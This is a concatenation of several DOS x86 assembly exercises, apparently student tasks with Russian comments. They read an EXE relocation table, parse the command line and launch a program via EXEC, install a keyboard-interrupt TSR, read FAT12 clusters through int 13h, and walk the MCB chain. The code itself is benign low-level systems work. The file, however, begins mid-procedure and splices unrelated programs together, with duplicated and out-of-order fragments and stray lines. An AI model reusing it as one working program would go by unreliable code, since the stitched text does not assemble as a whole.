mov ah,02h
int 21h
mov dl,0dh
mov ah,02h
int 21h
RET
VIVOD endp
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
fn db 'rt.exe',0
handle dw ? ;дескриптор файла
buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла
bufRt db bufRtSize DUP(' ') ;область размещения Relocation Table
ReloCnt dw 0 ;число 4-байтовых элементов в таблице перенастроики
ReloOff dw 0 ;смещение таблицы перенастроики
ReloSize dw 0 ;размер Relocation Table в словах (2 байта)
@ dw 00h
mess1 db "I_off: ","$"
mess2 db "I_seg: ","$"
DATASG ENDS
END BEGIN
stack_size=200h
psp_len=100h
say macro message_addr
lea dx,&message_addr
mov ah,9
int 21h
endm
model small
jumps
st segment para
dw 200 dup(0)
st ends
dat segment
epb label word
env dw 0
comline dw param
dw dat
fcb1 dd 0
fcb2 dd 0
param db 80 dup (0)
About db "В командной строке должны быть переданы опции i#fy#inlude<>",10,13,'$'
execerr db "Неправильная опция",10,13,'$'
WrongOpt db 'Неправильная опция',10,13,'$'
Ebout db 'В кoмандной стрoке должны быть переданы опции i, #fy, #include<строка>',10,13,'$'
OptI db 'Выбрана опция I',10,13,'$'
OptFY db 'Выбрана опция FY',10,13,'$'
OptINC db 'Выбрана опция INCLUDE<строка>',10,13,'$'
Opt_lst db 'i'
db 'fy'
db 'include<>'
dat ends
c segment
assume ds:dat, ss:st, cs:c
start: mov ax,st
mov ss,ax
mov ax,dat
mov ds,ax
mov ah,62h
int 21h
mov es,bx
mov bx,80h
cmp byte ptr es:[bx],0
jz nocomline
jmp parsecomline
nocomline:
say About
jmp quit
parsecomline:
mov ax,es
mov bx,zz
sub bx,ax
mov ah,4ah
int 21h
mov ax,3700h
int 21h
mov al,dl
mov bx,80h
mov cl,es:[bx]
call skipspace
push es
mov dx,bx
CutFName:
cmp byte ptr es:[bx], 20h
je CLine
cmp byte ptr es:[bx], al
je CLine
cmp byte ptr es:[bx],0dh
je CLine
inc bx
dec cl
jmp CutFName
CLine:
mov byte ptr es:[bx], 0
cmp cl,0
je CL_Zero
dec cl
CL_Zero:
call SkipSpace
mov ax,dat
mov es,ax
mov PARAM,cl
pop ds
mov si,bx
mov di,offset Param+1
repnz movsb
mov byte ptr es:[di], 0dh
mov bx,offset EPB
mov ax,4b00h
int 21h
mov ax,dat
mov ds,ax
jnc Quit
Say ExecErr
Quit:
mov ah,4ch
int 21h
SkipSpace proc Near
inc bx
NextSpace:
cmp byte ptr es:[bx],' '
jne Continue
inc bx
dec cl
jmp NextSpace
Continue:
ret
SkipSpace ENDP
c ends
zz segment
zz ends
END Start
Start: jmp Begin
.model small
.code
org 256
s: push cs
pop ds
call t
db '-е$'
t: pop dx
mov ah,9
int 33
mov ah,76
int 33
end s
mov bh,00
mov cx,7
push es
push cs
pop es
int 10h
pop es
pop bp dx cx bx ax
buy:
jmp dword ptr cs:[oldv]
oldv dd 00000000
int16 endp
init:
mov ax,3516h
int 21h
cmp word ptr es:bx,0fc80h
jne good
mov ah,9h
mov dx,offset message
int 21h
good:
mov word ptr ds:[oldv+2],es
mov word ptr ds:[oldv],bx
mov ax,2516h
mov dx,offset int16
int 21h
mov dx,offset init
int 27h
exit:
mov ax,4c00h
int 21h
message db 'Резидент загружен',13,10,'$'
end start
model tiny
jumps
codeseg
org 100h
start:
jmp init
int16 proc near
cmp ah,00h
jne buy
push ax bx cx dx bp
mov ax,0a07h
mov bh,00
mov cx,7
push es
push cs
pop es
int 10h
pop es
pop bp dx cx bx ax
buy:
jmp dword ptr cs:[oldv]
oldv dd 0000
.model tiny
jumps
.code
org 100h
text: jmp begin
PARAM db 127 dup(0)
exmp db 'TEMP1='
epb1 dw 0 ;сегмент среды dos (при 0 - текущая)
epb2 dd 0 ;адрес командной строки
;Переменные для хранения ss sp ds es
data dw 0 ;наш ds
dosdat dw 0 ;ds cреды dos
mov word ptr data,ds
begin: ;es=ds=psp
mov bx,100 ;минимальный размер программы
mov ah,4ah ;сжать блок
int 21h
;сохранение сегментов
mov bx,2ch ;2ch в PSP-номер параграфа окружения
mov cx,word ptr [bx]
mov word ptr [dosdat],cx
mov word ptr [data],ds
push cx
pop es
;поиск параметра
xor si,si
xor di,di
met2: cmp di,word ptr 5
je met3
mov al,byte ptr ds:[exmp+di]
cmp byte ptr es:[si],al
jne met1
inc si
inc di
jmp met2
met1: xor di,di
inc si
jmp met2
met3:
;сохранение найденного параметра
inc si
xor di,di
mov cx,128 ;80h
met4: mov al,byte ptr es:[si]
mov byte ptr ds:[param+di],al
cmp al,0
je met5
inc si
inc di
loop met4
met5: ;подготовка bpb
mov word ptr [epb2],80h
mov word ptr [epb2+2],ds
push ds
pop es
lea dx,PARAM
mov bx,offset epb1
mov ax,4b00h ;Запуск программы:загрузка и выполнение
int 21h
Quit: ;завершение программы и возврат в DOS
mov ah,4ch
int 21h
END text
.model tiny
Jumps
.code
org 100h
start: jmp met
mess db 'Запущена программа','$'
met: lea dx,mess
mov ah,9h
int 21h
mov ah,4ch
int 21h
end start
c segment
org 100h
assume cs:c,ds:c
start:
mov bx,80h
cmp byte ptr [bx],2
jne CommLinErr
SkipSpace:
inc bx
cmp byte ptr [bx],20h
je SkipSpace
cmp byte ptr [bx],'1'
je EntryPoint1
cmp byte ptr [bx],'2'
je EntryPoint2
CommLinErr:
mov ah,9
mov dx,offset err_mess
int 21h
jmp Quit
EntryPoint1:
mov ah,9
mov dx,offset mess_EP1
int 21h
jmp Quit
EntryPoint2:
mov ah,9
mov dx,offset mess_EP2
int 21h
Quit:
mov ah,4ch
int 21h
err_mess db "Error in command line.Use zd4 1|2",10,13,'$'
mess_EP1 db "Point 1.Ok.",10,13,'$'
mess_EP2 db "Point 2.Ok.",10,13,'$'
c ends
end start
Code segment
org 100h
assume cs:Code,ds:Code,es:Code,ss:Code
Start:
call Get_Parms
jb Quit
mov bp,si
mov si,dx
lodsw
or al,20h
cmp ax,3A61h
jne Next
mov disk,0
jmp Next2
Next:
cmp ax,3A62h
jne Invalid_d
mov disk,1
Next2:
lodsb
cmp al,"\"
jne Invalid_d
mov filename,si
xor dx,dx
mov si,bp
Locs: lodsb
xor ah,ah
cmp al,20h
je Locs
cmp al,00
je The_Konec
cmp al,0Dh
je The_Konec
cmp al,30h
jb Invalid_d
cmp al,39h
ja Invalid_d
sub al,30h
push ax
mov bx,000Ah
mov ax,dx
mul bx
mov dx,ax
pop ax
add dx,ax
jmp Locs
The_Konec:
mov cluster,dx
call Read_Boot
call Read_Fat
call Read_Root
call Get_Begin_Cluster
jb Quit
call Find_Cluster
jmp Quit
Invalid_d:
mov ah,09h
mov dx,offset Irror
int 21h
Quit:
mov ah,4Ch
int 21h
Read_Fat:
xor dx,dx
mov ax,word ptr boot+16h
mov ch,02
mov cl,al
mov ax,word ptr boot+0Eh
mov bx,offset origin_Fat
call Sectors
mov ax,word ptr boot+16h
shl ax,10
mov bx,3
div bx
mov Fats,ax
mov cx,ax
mov si,offset origin_Fat
mov di,offset converted_Fat
Fat_Convert:
lodsw
mov dx,ax
xor ax,ax
lodsb
shl ax,4
mov bl,dh
shr bl,4
or al,bl
and dh,0Fh
push ax
mov ax,dx
stosw
pop ax
stosw
dec cx
dec cx
jg Fat_Convert
ret
Read_Root:
xor dx,dx
mov ax,word ptr boot+16h
xor bx,bx
mov bl,byte ptr boot+10h
mul bx
add ax,word ptr boot+0Eh
mov cx,word ptr boot+11h
shr cx,4
mov ch,02h
mov bx,offset Root
call Sectors
ret
Get_Begin_Cluster:
mov si,filename
mov di,offset file
mov cx,9
CCC:
lodsb
or al,al
je CCC2
cmp al,"."
jne CCC3
dec cx
mov al,20h
rep stosb
mov cx,3
jmp CCC
CCC3:
cmp al,41h
jb Next_top
and al,not 20h
Next_top:
stosb
dec cx
jne CCC
CCC2: mov al,00
stosb
mov cx,word ptr boot+11h
mov di,offset Root
G_M:
push di
mov si,offset file
push cx
mov cx,000Bh
rep cmpsb
pop cx
pop di
je G_Quit
add di,0020h
loop G_M
stc
ret
G_Quit:
mov ax,word ptr [di+1Ah]
mov our_file,di
clc
ret
Read_Boot:
mov ax,0201h
mov bx,offset boot
xor cx,cx
inc cx
xor dx,dx
mov dl,disk
int 13h
ret
Sectors: ; dx:ax - sector number to read
; cl - how many sectors
; ch = 2 - read
; ch = 3 - write
push bx
div word ptr boot+18h
inc dl
mov t_sector,dl
xor dx,dx
div word ptr boot+1Ah
mov dh,dl
mov dl,disk
; ax=Cylinder number
mov bx,cx
mov cl,ah
shl cl,6
mov ch,al
or cl,t_sector
mov ax,bx
pop bx
int 13h
ret
t_sector db ?
Read_Sector:
call Into_File_Space
mov cx,0201h
call Sectors
ret
Write_Sector:
call Into_File_Space
mov cx,0301h
call Sectors
ret
Into_File_Space:
push bx
mov bp,ax
xor dx,dx
mov bx,word ptr boot+10h ; Number of Fat copies
mov ax,word ptr boot+16h
xor bh,bh
mul bx
mov bx,word ptr boot+11h ; Number of Root Elements
shr bx,4
add ax,bx
add ax,word ptr boot+0Eh ; Reserved+Boot Sectors
add ax,bp
sub ax,2
pop bx
ret
Find_Cluster:
mov cx,cluster
mov si,offset converted_Fat
Find_C:
mov bx,ax
add bx,bx
mov bx,word ptr [si+bx]
jcxz Find_Simple
dec cx
cmp bx,0FFFh
je NoThatCluster
mov ax,bx
jmp Find_C
NoThatCluster:
mov ah,09h
mov dx,offset NotCluster
int 21h
jmp Quit
Find_Simple:
mov bx,offset sector
call Read_Sector
mov ax,0003h
int 10h
mov cx,200h
mov si,offset sector
Print:
lodsb
cmp al,20h
jnb Print_Good
mov al,20h
Print_Good:
mov ah,0Eh
int 10h
loop Print
ret
include task_2a.asm
Irror db 0Ah,0Dh,"Invalid syntax!$"
NotCluster db 0Ah,0Dh,"File consist of lower count of clusters!$"
cluster dw ?
correction db 0
file db 13 dup(?)
our_file dw ?
Fats dw ?
boot db 200h dup(?)
origin_Fat db 2000h dup(?)
converted_Fat db 2000h dup(?)
Root db 2000h dup(?)
sector db 200h dup(?)
filename dw ?
disk db ?
Code ends
end Start
;task #3
.286
Code segment
org 100h
assume cs:Code, ds:Code, ss:Code
Start:
lea dx,Begin
call Print
mov ah,52h
int 21h
mov ax,word ptr es:[bx-2]
mov ds,ax
Main:
xor si,si
inc si
inc ax
cmp word ptr [si],8
je Good
cmp ax,word ptr [si]
je Good
jmp Next_4
Good:
push ax
push si
mov si,8
mov cs:system,1
call Compare
mov di,1
mov ax,word ptr [di]
cmp ax,8
je Print_sss
cmp cs:system,1
jne Next_4
Print_sss:
push ds cs
pop ds
mov ah,09h
lea dx,dos
int 21h
pop ds
pop si
pop ax
call Print_Space
call Print_Space
call Print_AX2
xor si,si
mov ax,[si+1]
Next:
call Print_AX2
call Print_End
;Next_3:
Next_4:
xor si,si
mov ax,ds
add ax,word ptr [si+3]
inc ax
mov ds,ax
cmp byte ptr [si],5Ah
jne Main
mov ah,4Ch
int 21h
Print_AX:
mov dx,ax
mov al,dh
call Print_AL
mov al,dl
Print_AL:
mov bl,al
shr al,4
call Print_H
mov al,bl
and al,0Fh
Print_H:
add al,30h
cmp al,39h
jbe PPP
add al,7
PPP: mov ah,0Eh
int 10h
ret
Print_Space:
push ax
mov al,20h
mov ah,0Eh
int 10h
pop ax
ret
Print_End:
mov ah,0Eh
mov al,0Ah
int 10h
mov ah,0Eh
mov al,0Dh
int 10h
ret
Print:
push ds
push cs
pop ds
mov ah,09h
int 21h
pop ds
ret
Print_AX2:
call Print_AX
call Print_Space
ret
Compare:
push si es
push cs
pop es
lea di,comp
mov cx,7
C_Cycle:
lodsb
or al,20h
cmp byte ptr es:[di],al
je C_N
mov cs:system,0
C_N: inc di
dec cx
jne C_Cycle
pop es si
ret
Begin db 0Ah,0Dh,"Статус MCB PSP",0Ah,0Dh,"$"
dos db "Занято MS DOS! $"
comp db "command"
system db ?
Code ends
end Start